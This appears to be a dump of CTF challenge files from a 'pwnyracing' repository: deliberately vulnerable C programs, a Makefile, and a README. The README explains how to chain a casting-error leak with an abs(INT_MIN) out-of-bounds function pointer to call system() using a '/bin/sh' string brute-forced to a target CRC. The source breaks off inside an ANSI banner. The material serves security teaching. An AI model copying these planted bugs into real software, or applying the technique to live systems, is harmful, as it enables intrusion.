play(){ 225 | 226 | struct data vuln; 227 | vuln.guard = 0; 228 | 229 | size_t size = 0; 230 | char *buf = 0; 231 | char c = 0; 232 | 233 | do { 234 | 235 | if (c > 0 && (c = getchar()) != '\n') 236 | ungetc(c, stdin); 237 | 238 | size = 0; 239 | printf("\nsize: "); 240 | scanf("%d%*c", &size); 241 | if (size <= sizeof(vuln)) 242 | size = sizeof(vuln); 243 | 244 | printf("data: "); 245 | vuln.ptr = vuln.buf; 246 | while ((c = getchar()) != EOF && c != '\n' && c != '\r') 247 | *vuln.ptr++ = c; 248 | 249 | if (c == '\n') 250 | *vuln.ptr++ = '\0'; 251 | 252 | buf = malloc(size); 253 | work(vuln.buf, buf, size); 254 | 255 | printf("resp: %s\n", buf); 256 | printf("more? (y/n): "); 257 | 258 | memset(vuln.buf, '\0', sizeof(vuln.buf)); 259 | 260 | } while (scanf(" %c", &c) && (c == 'y' || c == 'Y')); 261 | 262 | quit(); 263 | } 264 | 265 | int main(int argc, char *argv[], char *envp[]){ 266 | 267 | register int sp asm ("sp"); 268 | alloca((~(0x100 - (sp & 0xff)) - 0x10) + 0x40); 269 | 270 | alarm(60); 271 | signal(SIGALRM, quit); 272 | 273 | setvbuf(stdin, 0, _IONBF, 0); 274 | setvbuf(stdout, 0, _IONBF, 0); 275 | 276 | banner(); 277 | play(); 278 | 279 | return 0; 280 | } -------------------------------------------------------------------------------- /pwnyracing/chall02/README.md: -------------------------------------------------------------------------------- 1 | # Chall 02 2 | 3 | ## Description 4 | 5 | A silly application that takes some data from the user and then generates crc32 6 | checksums from each block of 16 bytes and then executes a given function based 7 | on that value. So it is possible to call a list of junk functions in whatever 8 | order the user wishes. 9 | 10 | The application has a combination of bugs, the leaks can all be used in any 11 | order (and are interchangable) 12 | 13 | 1. casting error on debug switch (used to enable leak) 14 | 2. printing 15 bytes of "random" stack space (leak depending on what is there). 15 | 3. free() on arb memory. 16 | 4. possible buffer overflow/. 17 | 5. leblancian paradox 18 | 19 | ## Bugs 20 | 21 | There are three main bugs required to pwn this optimally. 22 | 23 | ### Casting Error 24 | 25 | The user only has 3 tries to input something that pops a shell. If there is an 26 | error reading the input, it does not count as one of their tries. To implement 27 | this there is a `fail` counter that is right next to the `debug` switch (that 28 | is supposed to only be invoked from the command line). Due to an error in 29 | casting when passing this value around the application it is possible to 30 | increase the 32bit `fail` counter so that the 32bit `debug` switch will be 31 | greater than 0 when cast as a 64bit long int. 32 | 33 | One of the easiest ways to trigger the fail counter is just to ensure the 34 | strlen() returns 0 for the user input. 35 | 36 | Using this casting error it is possible to enable the `debug` functionality 37 | which will write a hexdump and the crc32 of each 16 byte block of input to the 38 | user. This will be useful to provide a leak as if 1024 bytes are written by the 39 | user then the input is squeezed next to the list of function pointers. 40 | 41 | There are other ways to leak, but this is by far the least painful and quickest 42 | route. 43 | 44 | ### Leblancian Paradox 45 | 46 | The application will decide what function to execute based on the CRC by 47 | performing `abs(crc) % 0xf`. This means the application is vulnerable to an 48 | interesting edge case that relies on a beautiful old school ASM optimsation 49 | combined with the fact that there is 1 more number in the negative range of a 50 | signed integer than in the similar positive range. 51 | 52 | To understand why, the usual asm operations for abs must be considered: 53 | 54 | ```asm 55 | cdq ; eax sign to edx, if > 0 edx = 0 else edx = -1 56 | xor eax, edx ; if edx == 0 then eax will stay the same 57 | sub eax, edx ; subtract eax with result of xor, 0 if eax was > 0 58 | ``` 59 | 60 | So this means that: 61 | 62 | ```asm 63 | eax = 0x80000000 64 | edx = 0xffffffff 65 | eax = 0x80000000 xor 0xffffffff (0x7fffffff) 66 | eax = 0x7fffffff - 0xffffffff (0x80000000) 67 | ``` 68 | 69 | Using this it is possible to get an out of bounds reference for a function 70 | pointer and since there is a reference to system() within the binary, it is an 71 | easy win. 72 | 73 | The application will also call the function pointer with the contents of the 74 | string that generated the CRC in the first place. So this means the goal will 75 | be to provide a string that is both a valid shell argument and makes a CRC 76 | value that equals `0x80000000`. 77 | 78 | Luckily there are two methods to do this that are both feasible. The first is 79 | to just brute force something like 80 | 81 | ``` 82 | /bin/sh#???? 83 | ``` 84 | 85 | Or you can just use a known tool like `forcecrc32` (https://www.nayuki.io/page/forcing-a-files-crc-to-any-value). 86 | -------------------------------------------------------------------------------- /pwnyracing/chall02/src/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | 3 | CFLAGS=-fstack-protector-all -Wno-unused-label -Wno-incompatible-pointer-types -Wno-int-to-pointer-cast -fomit-frame-pointer 4 | LFLAGS=-lz 5 | SRC=chall02.c 6 | OBJ=$(SRC:.c=.o) 7 | BIN=chall02 8 | 9 | all: 10 | $(MAKE) $(BIN) 11 | 12 | $(BIN): $(OBJ) 13 | $(CC) $(CFLAGS) $(OBJ) -o $@ $(LFLAGS) 14 | 15 | .o: 16 | $(CC) $(CFLAGS) $< -o $@ 17 | 18 | challenge: all 19 | rm -f $(OBJ) 20 | 21 | clean: 22 | rm -f $(BIN) $(OBJ) -------------------------------------------------------------------------------- /pwnyracing/chall02/src/chall02.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define INPUT_SIZE 1024 10 | #define DUMPS_SIZE 16 11 | #define CHUNK_SIZE 16 12 | 13 | #define MIN(a,b) (((a)<(b))?(a):(b)) 14 | 15 | typedef void (*func)(void *a); 16 | 17 | int cvals[INPUT_SIZE/CHUNK_SIZE]; 18 | char input[INPUT_SIZE]; 19 | func funcs[0xf]; 20 | 21 | void banner(){ 22 | 23 | puts("\n \e[38;2;19;71;27m▄\e[38;2;24;91;35m▄\e[38;2;27;99;38m▄\e[38;2;27;99;38m▄\e[38;2;28;100;38m▄\e[48;2;15;55;21m\e[38;2;28;102;39m▄\e[48;2;17;62;23m\e[38;2;29;104;39m▄\e[48;2;18;6" \ 24 | "6;25m\e[38;2;29;105;40m▄\e[48;2;18;66;25m\e[38;2;30;107;41m▄\e[48;2;17;62;23m\e[38;2;30;109;41m▄\e[48;2;14;51;19m\e[38;2;31;110;42m▄\e[0m\e[38;2;31;112;43m▄\e[38;2;32;114;43m▄\e[38;2;29;107;40m▄\e[" \ 25 | "38;2;25;91;34m▄\e[38;2;17;62;23m▄\n \e[38;2;17;63;24m▄ \e[38;2;18;66;25m▀\e[48;2;19;72;27m\e[38;2;15;56;21m▄\e[48;2;24;90;34m\e[38;2;24;89;34m▄\e[48;2;27;99;38m\e[38;2;27;98;37m▄\e[48;2;27" \ 26 | ";99;38m\e[38;2;27;100;37m▄\e[48;2;27;99;37m\e[38;2;28;102;38m▄\e[48;2;27;100;37m\e[38;2;29;105;40m▄\e[48;2;28;102;38m\e[38;2;29;107;41m▄\e[48;2;28;104;39m\e[38;2;30;108;41m▄\e[48;2;29;105;40m\e[38;" \ 27 | "2;31;110;42m▄\e[48;2;29;107;40m\e[38;2;31;112;43m▄\e[48;2;30;108;41m\e[38;2;31;113;43m▄\e[48;2;30;110;42m\e[38;2;32;115;44m▄\e[48;2;31;112;42m\e[38;2;33;117;44m▄\e[48;2;31;115;43m\e[38;2;33;118;45m" \ 28 | "▄\e[48;2;32;116;43m\e[38;2;33;120;46m▄\e[48;2;33;119;45m\e[38;2;33;121;45m▄\e[48;2;33;120;46m\e[38;2;33;122;46m▄\e[48;2;34;122;46m\e[38;2;34;123;47m▄\e[48;2;34;123;47m\e[38;2;34;126;47m▄\e[48;2;29;" \ 29 | "104;40m\e[38;2;36;128;49m▄\e[48;2;17;62;24m\e[38;2;36;130;49m▄\e[0m\e[38;2;35;125;47m▄\e[38;2;21;78;29m▄\n \e[38;2;14;54;20m▄\e[38;2;28;100;38m▄\e[48;2;22;81;31m\e[38;2;28;101;38m▄\e[48;2;" \ 30 | "28;100;38m\e[38;2;25;89;33m▄\e[48;2;28;101;38m\e[38;2;27;101;38m▄\e[48;2;29;103;39m\e[38;2;27;99;37m▄\e[48;2;29;105;40m\e[38;2;23;83;31m▄\e[48;2;29;107;41m\e[38;2;19;71;26m▄\e[48;2;29;107;40m\e[38;" \ 31 | "2;26;96;36m▄\e[48;2;31;110;42m\e[38;2;30;112;42m▄\e[48;2;31;111;42m\e[38;2;31;114;43m▄\e[48;2;31;113;43m\e[38;2;33;116;44m▄\e[48;2;32;115;44m\e[38;2;33;118;45m▄\e[48;2;33;117;44m\e[38;2;33;120;45m▄" \ 32 | "\e[48;2;33;118;45m\e[38;2;34;121;46m▄\e[48;2;33;120;46m\e[38;2;34;123;47m▄\e[48;2;34;121;46m\e[38;2;35;125;48m▄\e[48;2;34;123;47m\e[38;2;35;126;48m▄\e[48;2;35;125;48m\e[38;2;36;128;49m▄\e[48;2;35;1" \ 33 | "27;48m\e[38;2;36;130;49m▄\e[48;2;36;128;49m\e[38;2;36;131;50m▄\e[48;2;36;130;49m\e[38;2;37;133;51m▄\e[48;2;35;131;49m\e[38;2;37;135;51m▄\e[48;2;36;131;50m\e[38;2;38;136;52m▄\e[48;2;38;135;51m\e[38;" \ 34 | "2;37;137;52m▄\e[48;2;38;136;52m\e[38;2;38;138;52m▄\e[48;2;36;133;51m\e[38;2;39;141;54m▄\e[48;2;22;79;30m\e[38;2;40;143;54m▄\e[0m\e[38;2;37;134;51m▄\e[38;2;17;62;24m▄\n \e[38;2;21;78;29m▄\e[4" \ 35 | "8;2;20;73;27m\e[38;2;22;80;30m▄\e[0m\e[38;2;28;101;38m▀\e[38;2;19;68;26m▀\e[38;2;18;65;24m▄\e[48;2;16;57;21m\e[38;2;30;109;41m▄\e[48;2;27;97;37m\e[38;2;30;109;41m▄\e[0m\e[38;2;30;111;42m▄\e[48;2;15" \ 36 | ";55;21m\e[38;2;32;114;43m▄\e[48;2;25;94;35m\e[38;2;32;116;44m▄\e[48;2;32;114;43m\e[38;2;33;117;44m▄\e[48;2;31;115;43m\e[38;2;33;119;45m▄\e[48;2;33;118;45m\e[38;2;33;121;46m▄\e[48;2;33;119;45m\e[38;" \ 37 | "2;34;122;46m▄\e[48;2;34;121;46m\e[38;2;35;124;47m▄\e[48;2;34;123;47m\e[38;2;35;126;48m▄\e[48;2;35;124;47m\e[38;2;36;128;49m▄\e[48;2;35;126;48m\e[38;2;36;129;49m▄\e[48;2;36;128;49m\e[38;2;36;131;50m" \ 38 | "▄\e[48;2;36;129;49m\e[38;2;37;132;50m▄\e[48;2;36;131;50m\e[38;2;37;134;51m▄\e[48;2;37;133;51m\e[38;2;38;136;52m▄\e[48;2;37;134;51m\e[38;2;38;137;53m▄\e[48;2;38;136;52m\e[38;2;39;139;53m▄\e[48;2;38;" \ 39 | "138;53m\e[38;2;39;141;54m▄\e[48;2;39;139;53m\e[38;2;40;142;54m▄\e[48;2;39;141;54m\e[38;2;40;144;55m▄\e[48;2;40;143;54m\e[38;2;40;146;55m▄\e[48;2;39;143;54m\e[38;2;41;148;56m▄\e[48;2;40;144;55m\e[38" \ 40 | ";2;42;149;57m▄\e[48;2;41;148;56m\e[38;2;41;150;57m▄\e[48;2;42;149;57m\e[38;2;42;151;57m▄\e[48;2;29;107;41m\e[38;2;43;154;59m▄\e[0m\e[38;2;40;143;54m▄\e[38;2;14;51;19m▄\n \e[38;2;19;67;25m▀ " \ 41 | "\e[38;2;18;66;25m▄\e[48;2;22;80;30m\e[38;2;31;112;43m▄\e[48;2;31;110;42m\e[38;2;30;109;41m▄\e[48;2;30;110;42m\e[38;2;32;115;44m▄\e[48;2;32;114;43m\e[38;2;33;117;44m▄\e[48;2;32;116;44m\e[38;2;33;119" \ 42 | ";45m▄\e[48;2;32;116;43m\e[38;2;33;120;46m▄\e[48;2;32;118;44m\e[38;2;34;122;46m▄\e[48;2;33;120;46m\e[38;2;34;123;47m▄\e[48;2;34;122;46m\e[38;2;35;125;48m▄\e[48;2;35;124;47m\e[38;2;35;127;48m▄\e[48;2" \ 43 | ";35;125;48m\e[38;2;36;129;49m▄\e[48;2;35;127;48m\e[38;2;36;130;49m▄\e[48;2;36;129;49m\e[38;2;37;132;50m▄\e[48;2;36;131;50m\e[38;2;37;134;51m▄\e[48;2;37;132;50m\e[38;2;38;135;51m▄\e[48;2;37;134;51m" \ 44 | "\e[38;2;38;137;52m▄\e[48;2;38;135;52m\e[38;2;39;139;53m▄\e[48;2;38;137;52m\e[38;2;39;140;53m▄\e[48;2;39;139;53m\e[38;2;40;142;54m▄\e[48;2;39;140;54m\e[38;2;40;144;55m▄\e[48;2;40;142;54m\e[38;2;40;1" \ 45 | "45;55m▄\e[48;2;40;144;55m\e[38;2;41;147;56m▄\e[48;2;40;146;55m\e[38;2;40;144;55m▄\e[48;2;40;146;55m\e[38;2;42;151;57m▄\e[48;2;41;148;56m\e[38;2;42;152;58m▄\e[48;2;42;151;57m\e[38;2;42;153;57m▄\e[48" \ 46 | ";2;42;152;58m\e[38;2;43;155;59m▄\e[48;2;43;154;59m\e[38;2;44;157;60m▄\e[48;2;44;156;59m\e[38;2;44;159;60m▄\e[48;2;43;155;59m\e[38;2;45;160;61m▄\e[48;2;44;159;61m\e[38;2;44;161;61m▄\e[48;2;45;160;61" \ 47 | "m\e[38;2;45;162;62m▄\e[48;2;24;86;32m\e[38;2;46;165;63m▄\e[0m\e[38;2;29;106;40m▄\n \e[48;2;31;113;43m\e[38;2;31;115;43m▄\e[48;2;22;81;30m\e[38;2;15;56;21m▄\e[48;2;25;90;33m\e[38;2;30;112;4" \ 48 | "3m▄\e[48;2;33;118;45m\e[38;2;34;121;46m▄\e[48;2;32;119;45m\e[38;2;33;122;46m▄\e[48;2;34;122;46m\e[38;2;35;125;48m▄\e[48;2;34;123;47m\e[38;2;34;125;47m▄\e[48;2;35;125;48m\e[38;2;36;128;49m▄\e[48;2;3" \ 49 | "4;126;47m\e[38;2;30;108;41m▄\e[48;2;35;127;48m\e[38;2;35;127;48m▄\e[48;2;36;130;49m\e[38;2;36;132;50m▄\e[48;2;36;132;50m\e[38;2;38;135;51m▄\e[48;2;37;133;51m\e[38;2;38;136;52m▄\e[48;2;38;135;51m\e[" \ 50 | "38;2;38;138;53m▄\e[48;2;38;137;52m\e[38;2;39;140;53m▄\e[48;2;38;138;53m\e[38;2;40;141;54m▄\e[48;2;39;140;53m\e[38;2;40;143;54m▄\e[48;2;40;142;54m\e[38;2;40;145;55m▄\e[48;2;40;143;54m\e[38;2;41;146;" \ 51 | "56m▄\e[48;2;40;145;55m\e[38;2;41;148;56m▄\e[48;2;41;147;56m\e[38;2;42;150;57m▄\e[48;2;41;147;56m\e[38;2;42;151;58m▄\e[48;2;41;149;56m\e[38;2;42;152;57m▄\e[48;2;37;135;51m\e[38;2;43;155;59m▄\e[48;2;" \ 52 | "30;109;41m\e[38;2;38;138;52m▄\e[48;2;40;145;55m\e[38;2;25;91;34m▄\e[48;2;44;157;60m\e[38;2;32;115;44m▄\e[48;2;43;156;59m\e[38;2;45;162;62m▄\e[48;2;44;159;60m\e[38;2;46;163;62m▄\e[48;2;45;162;62m\e[" \ 53 | "38;2;45;163;62m▄\e[48;2;46;163;62m\e[38;2;46;167;64m▄\e[48;2;46;165;63m\e[38;2;47;168;64m▄\e[48;2;47;167;64m\e[38;2;48;170;65m▄\e[48;2;46;166;62m\e[38;2;48;172;65m▄\e[48;2;48;170;65m\e[38;2;48;170;" \ 54 | "64m▄\e[48;2;34;123;46m\e[38;2;49;175;67m▄\e[0m\e[38;2;36;131;50m▄\n \e[48;2;16;59;22m\e[38;2;32;118;44m▄\e[48;2;33;119;45m\e[38;2;33;121;46m▄\e[48;2;34;121;46m\e[38;2;34;123;46m▄\e[48;2;34;" \ 55 | "123;47m\e[38;2;35;126;48m▄\e[48;2;35;124;47m\e[38;2;35;127;48m▄\e[48;2;35;126;48m\e[38;2;35;127;48m▄\e[48;2;36;128;49m\e[38;2;35;127;48m▄\e[48;2;35;128;48m\e[38;2;37;133;51m▄\e[48;2;34;126;48m\e[38" \ 56 | ";2;25;91;34m▄\e[0m\e[38;2;31;114;43m▀\e[48;2;37;135;51m\e[38;2;22;80;30m▄\e[48;2;38;136;52m\e[38;2;35;124;47m▄\e[48;2;37;136;52m\e[38;2;39;141;54m▄\e[48;2;39;140;53m\e[38;2;40;143;54m▄\e[48;2;39;14" \ 57 | "1;54m\e[38;2;39;143;54m▄\e[48;2;40;143;54m\e[38;2;41;146;56m▄\e[48;2;40;144;55m\e[38;2;41;148;56m▄\e[48;2;41;146;56m\e[38;2;42;149;57m▄\e[48;2;41;148;56m\e[38;2;42;151;58m▄\e[48;2;42;150;57m\e[38;2" \ 58 | ";42;153;58m▄\e[48;2;42;151;58m\e[38;2;43;154;59m▄\e[48;2;43;153;58m\e[38;2;44;156;59m▄\e[48;2;43;155;59m\e[38;2;44;158;60m▄\e[48;2;44;156;60m\e[38;2;44;159;61m▄\e[48;2;43;157;59m\e[38;2;45;161;61m▄" \ 59 | "\e[48;2;45;160;61m\e[38;2;45;162;61m▄\e[48;2;43;157;59m\e[38;2;46;164;63m▄\e[48;2;23;82;31m\e[38;2;46;166;63m▄\e[48;2;18;66;25m\e[38;2;27;97;37m▄\e[0m\e[38;2;43;158;60m▀\e[48;2;47;168;64m\e[38;2;34" \ 60 | ";122;46m▄\e[48;2;46;167;63m\e[38;2;48;173;66m▄\e[48;2;47;170;64m\e[38;2;49;174;66m▄\e[48;2;48;173;66m\e[38;2;48;174;66m▄\e[48;2;49;175;67m\e[38;2;50;178;68m▄\e[48;2;49;176;67m\e[38;2;50;179;68m▄\e[" \ 61 | "48;2;49;175;67m\e[38;2;51;181;69m▄\e[48;2;50;180;69m\e[38;2;50;180;69m▄\e[48;2;40;143;54m\e[38;2;51;184;70m▄\e[0m\e[38;2;42;153;58m▄\e[0m pwny.racing presents...\n \e[38;2;20;71;27m▄\e[4" \ 62 | "8;2;27;97;36m\e[38;2;35;125;48m▄\e[48;2;35;124;47m\e[38;2;34;126;47m▄\e[48;2;34;125;47m\e[38;2;36;129;49m▄\e[48;2;35;127;48m\e[38;2;35;129;48m▄\e[48;2;35;127;48m\e[38;2;37;132;50m▄\e[48;2;36;131;50" \ 63 | "m\e[38;2;34;124;47m▄\e[48;2;37;132;51m\e[38;2;28;101;38m▄\e[48;2;37;134;51m\e[38;2;19;70;27m▄\e[0m\e[38;2;32;115;44m▀ \e[38;2;20;73;27m▀\e[38;2;39;144;54m▀\e[48;2;41;147;56m\e[38;2;40;145;55m▄\e" \ 64 | "[48;2;41;148;56m\e[38;2;41;151;57m▄\e[48;2;42;151;58m\e[38;2;42;153;57m▄\e[48;2;42;152;58m\e[38;2;43;155;59m▄\e[48;2;43;154;59m\e[38;2;44;157;60m▄\e[48;2;44;156;59m\e[38;2;44;159;61m▄\e[48;2;44;157" \ 65 | ";60m\e[38;2;45;160;61m▄\e[48;2;44;159;61m\e[38;2;45;162;62m▄\e[48;2;45;161;61m\e[38;2;46;164;63m▄\e[48;2;46;162;62m\e[38;2;46;165;63m▄\e[48;2;46;164;63m\e[38;2;47;167;64m▄\e[48;2;46;166;63m\e[38;2;" \ 66 | "47;169;64m▄\e[48;2;47;167;64m\e[38;2;48;171;65m▄\e[48;2;46;166;63m\e[38;2;48;172;66m▄\e[48;2;48;171;65m\e[38;2;48;171;64m▄\e[48;2;34;124;47m\e[38;2;49;175;67m▄\e[0m\e[38;2;40;145;55m▄\e[38;2;19;70;" \ 67 | "27m▀\e[38;2;46;168;64m▀\e[48;2;50;179;69m\e[38;2;36;128;48m▄\e[48;2;50;178;68m\e[38;2;51;184;70m▄\e[48;2;50;181;69m\e[38;2;52;185;71m▄\e[48;2;51;184;70m\e[38;2;51;185;70m▄\e[48;2;52;186;71m\e[38;2;" \ 68 | "52;188;71m▄\e[48;2;52;184;71m\e[38;2;53;191;73m▄\e[48;2;53;189;72m\e[38;2;47;169;64m▄\e[48;2;47;172;65m\e[38;2;46;168;64m▄\e[0m\e[38;2;54;192;73m▄\e[38;2;19;70;26m▄\n \e[38;2;17;62;23m▄\e[48;2;" \ 69 | "31;112;43m\e[38;2;30;109;41m▄\e[48;2;35;127;48m\e[38;2;32;118;44m▄\e[48;2;35;127;48m\e[38;2;36;132;50m▄\e[48;2;36;130;49m\e[38;2;36;131;50m▄\e[48;2;35;131;49m\e[38;2;37;134;50m▄\e[48;2;37;133;51m\e" \ 70 | "[38;2;26;93;35m▄\e[0m\e[38;2;25;93;35m▀ \e[38;2;22;79;30m▄\e[38;2;29;105;40m▄\e[38;2;18;67;25m▄ \e[38;2;14;51;19m▀\e[48;2;43;155;59m\e[38;2;27;99;37m▄\e[48;2;43;155;59m\e[38;2;45;160;61m▄\e[48" \ 71 | ";2;44;159;60m\e[38;2;44;161;61m▄\e[48;2;45;160;61m\e[38;2;46;163;62m▄\e[48;2;45;162;62m\e[38;2;46;165;63m▄\e[48;2;46;163;62m\e[38;2;46;167;64m▄\e[48;2;46;165;63m\e[38;2;47;168;64m▄\e[48;2;47;167;64" \ 72 | "m\e[38;2;48;170;65m▄\e[48;2;47;169;64m\e[38;2;48;172;65m▄\e[48;2;48;170;65m\e[38;2;48;173;66m▄\e[48;2;48;172;66m\e[38;2;49;175;67m▄\e[48;2;49;174;66m\e[38;2;49;177;68m▄\e[48;2;49;175;67m\e[38;2;50;" \ 73 | "178;68m▄\e[48;2;49;177;68m\e[38;2;50;180;69m▄\e[48;2;49;176;67m\e[38;2;51;182;69m▄\e[48;2;50;180;69m\e[38;2;50;181;69m▄\e[48;2;45;163;61m\e[38;2;52;185;71m▄\e[48;2;22;80;30m\e[38;2;45;161;61m▄\e[0m" \ 74 | "\e[38;2;30;106;40m▄\e[48;2;21;75;28m\e[38;2;20;73;28m▄\e[0m\e[38;2;51;185;70m▀\e[48;2;53;191;73m\e[38;2;41;148;56m▄\e[48;2;52;189;72m\e[38;2;55;195;74m▄\e[48;2;53;193;73m\e[38;2;55;197;75m▄\e[48;2;" \ 75 | "54;194;73m\e[38;2;54;195;75m▄\e[48;2;43;155;59m\e[38;2;56;200;76m▄\e[48;2;36;131;50m\e[38;2;47;167;63m▄\e[48;2;54;193;73m\e[38;2;26;95;36m▄\e[48;2;37;131;50m\e[38;2;42;150;57m▄\e[0m\e[38;2;52;185;7" \ 76 | "0m▄\e[38;2;23;83;32m▄ \e[38;2;22;80;30m▄\e[38;2;14;51;19m▀\n \e[38;2;18;67;25m▀\e[48;2;34;126;48m\e[38;2;37;134;51m▄\e[48;2;36;129;49m\e[38;2;20;72;27m▄\e[48;2;29;105;40m" \ 77 | "\e[38;2;26;95;36m▄\e[48;2;37;134;51m\e[38;2;38;138;52m▄\e[48;2;38;138;53m\e[38;2;36;132;50m▄\e[0m \e[38;2;28;101;39m▄\e[48;2;33;121;46m\e[38;2;41;148;56m▄\e[48;2;41;146;56m\e[38;2;41;147;55m▄\e[48" \ 78 | ";2;41;148;56m\e[38;2;41;149;57m▄\e[48;2;42;149;57m\e[38;2;42;151;57m▄\e[48;2;40;145;55m\e[38;2;43;154;59m▄\e[48;2;33;118;44m\e[38;2;44;156;59m▄\e[48;2;24;88;33m\e[38;2;44;158;60m▄\e[48;2;15;54;20m" \ 79 | "\e[38;2;44;159;61m▄\e[0m\e[38;2;44;160;60m▄\e[38;2;41;147;56m▄\e[38;2;35;125;48m▄\e[48;2;38;134;51m\e[38;2;32;116;44m▄\e[48;2;45;161;61m\e[38;2;39;141;53m▄\e[48;2;45;165;62m\e[38;2;46;169;63m▄\e[48" \ 80 | ";2;47;168;64m\e[38;2;47;170;64m▄\e[48;2;48;170;65m\e[38;2;48;173;66m▄\e[48;2;48;171;65m\e[38;2;49;174;67m▄\e[48;2;48;173;66m\e[38;2;49;176;67m▄\e[48;2;49;175;67m\e[38;2;50;178;68m▄\e[48;2;49;176;67" \ 81 | "m\e[38;2;50;180;68m▄\e[48;2;50;178;68m\e[38;2;51;181;69m▄\e[48;2;50;180;69m\e[38;2;51;183;70m▄\e[48;2;51;181;69m\e[38;2;52;184;71m▄\e[48;2;51;183;70m\e[38;2;52;186;71m▄\e[48;2;52;185;71m\e[38;2;53;" \ 82 | "188;72m▄\e[48;2;52;186;71m\e[38;2;53;190;73m▄\e[48;2;52;186;71m\e[38;2;53;191;73m▄\e[48;2;53;190;73m\e[38;2;53;191;73m▄\e[48;2;43;157;60m\e[38;2;54;194;74m▄\e[48;2;34;123;47m\e[38;2;43;154;59m▄\e[4" \ 83 | "8;2;38;137;52m\e[38;2;35;127;48m▄\e[0m\e[38;2;53;188;72m▄\e[48;2;24;86;32m\e[38;2;18;65;24m▄\e[0m\e[38;2;54;195;74m▀\e[48;2;57;202;77m\e[38;2;36;130;50m▄\e[48;2;56;201;77m\e[38;2;58;206;79m▄\e[48;2" \ 84 | ";57;205;78m\e[38;2;58;208;79m▄\e[48;2;55;196;74m\e[38;2;59;210;80m▄\e[48;2;28;101;38m\e[38;2;59;211;81m▄\e[48;2;22;78;29m\e[38;2;45;161;61m▄\e[48;2;46;166;63m\e[38;2;19;68;26m▄\e[48;2;49;175;67m\e[" \ 85 | "38;2;20;71;27m▄\e[48;2;25;93;35m\e[38;2;40;143;54m▄\e[0m\e[38;2;50;177;67m▄\e[38;2;41;150;57m▄\e[38;2;28;100;38m▄\e[38;2;15;56;21m▄ \e[38;2;26;95;36m▄\e[48;2;16;60;23m\e[38;2;29;105;40" \ 86 | "m▄\e[0m\e[38;2;27;96;36m▀\n \e[38;2;19;69;26m▀ \e[38;2;38;140;53m▀\e[38;2;40;143;54m▀\e[38;2;18;64;24m▀\e[38;2;32;113;43m▄\e[48;2;28;101;38m\e[38;2;42;150;57m▄\e[48;2;42;149;57m\e[38;2;41;149;" \ 87 | "56m▄\e[48;2;41;149;57m\e[38;2;43;154;59m▄\e[48;2;41;151;57m\e[38;2;44;156;59m▄\e[48;2;42;152;58m\e[38;2;44;158;60m▄\e[48;2;43;154;58m\e[38;2;44;159;61m▄\e[48;2;43;156;59m\e[38;2;45;161;61m▄\e[48;2;" \ 88 | "43;157;60m\e[38;2;45;162;62m▄\e[48;2;44;159;60m\e[38;2;45;163;62m▄\e[48;2;45;161;61m\e[38;2;45;163;62m▄\e[48;2;46;164;63m\e[38;2;46;166;63m▄\e[48;2;46;166;63m\e[38;2;46;168;63m▄\e[48;2;47;167;64m\e" \ 89 | "[38;2;47;169;64m▄\e[48;2;47;169;64m\e[38;2;47;170;65m▄\e[48;2;48;171;65m\e[38;2;48;173;65m▄\e[48;2;48;173;66m\e[38;2;49;176;67m▄\e[48;2;49;174;66m\e[38;2;49;177;68m▄\e[48;2;49;176;67m\e[38;2;50;179" \ 90 | ";68m▄\e[48;2;49;178;68m\e[38;2;51;181;69m▄\e[48;2;50;179;68m\e[38;2;51;182;69m▄\e[48;2;51;181;69m\e[38;2;51;184;70m▄\e[48;2;51;183;70m\e[38;2;52;186;71m▄\e[48;2;51;184;70m\e[38;2;52;187;72m▄\e[48;2" \ 91 | ";52;186;71m\e[38;2;53;189;72m▄\e[48;2;53;188;72m\e[38;2;53;191;73m▄\e[48;2;53;189;72m\e[38;2;54;192;74m▄\e[48;2;53;191;73m\e[38;2;54;194;74m▄\e[48;2;54;193;74m\e[38;2;55;196;75m▄\e[48;2;54;194;74m" \ 92 | "\e[38;2;55;197;75m▄\e[48;2;55;196;75m\e[38;2;56;199;76m▄\e[48;2;54;195;74m\e[38;2;56;201;77m▄\e[48;2;56;199;76m\e[38;2;56;199;76m▄\e[48;2;41;149;57m\e[38;2;57;204;78m▄\e[48;2;33;119;45m\e[38;2;39;1" \ 93 | "38;52m▄\e[48;2;57;204;78m\e[38;2;32;116;44m▄\e[48;2;39;140;53m\e[38;2;59;209;80m▄\e[0m\e[38;2;58;207;78m▄\e[38;2;32;114;43m▄\e[38;2;39;142;54m▀\e[38;2;60;213;81m▀\e[48;2;60;215;82m\e[38;2;31;114;44" \ 94 | "m▄\e[48;2;60;216;83m\e[38;2;53;190;73m▄\e[48;2;61;217;83m\e[38;2;62;221;84m▄\e[48;2;43;155;59m\e[38;2;62;223;85m▄\e[48;2;19;69;26m\e[38;2;63;224;86m▄\e[0m\e[38;2;60;215;81m▄\e[48;2;18;66;25m\e[38;2" \ 95 | ";43;156;59m▄\e[48;2;28;102;39m\e[38;2;28;102;39m▄\e[48;2;34;121;46m\e[38;2;18;66;25m▄\e[0m\e[38;2;34;122;47m▀\e[38;2;30;106;40m▀\e[48;2;22;80;30m\e[38;2;13;49;18m▄\e[0m\e[38;2;21;77;29m▄\e[38;2;32;" \ 96 | "115;44m▄\e[38;2;44;159;61m▄\e[38;2;49;176;67m▄\e[48;2;24;85;32m\e[38;2;33;121;46m▄\e[0m\e[38;2;35;127;48m▀\e[38;2;17;61;23m▀ \e[38;2;21;76;29m▄\e[38;2;58;208;79m▄\e[48;2;42;150;57m\e[38;2;26;95;36m" \ 97 | "▄\e[0m\e[38;2;31;112;42m▀ \e[38;2;30;109;42m▄\n \e[38;2;38;136;52m▄\e[48;2;35;126;48m\e[38;2;43;153;58m▄\e[48;2;42;152;58m\e[38;2;42;154;58m▄\e[48;2;42;150;56m\e[38;2;44;157;60m▄\e[48;2" \ 98 | ";44;156;59m\e[38;2;33;118;45m▄\e[48;2;44;157;60m\e[38;2;23;86;33m▄\e[48;2;36;129;49m\e[38;2;27;98;37m▄\e[48;2;30;106;40m\e[38;2;37;134;51m▄\e[48;2;31;113;42m\e[38;2;31;112;42m▄\e[0m\e[38;2;33;120;4" \ 99 | "5m▀\e[38;2;40;144;55m▀\e[38;2;47;167;64m▀\e[48;2;47;169;64m\e[38;2;27;98;37m▄\e[48;2;48;170;65m\e[38;2;44;156;59m▄\e[48;2;47;170;65m\e[38;2;49;175;67m▄\e[48;2;48;173;65m\e[38;2;49;177;68m▄\e[48;2;4" \ 100 | 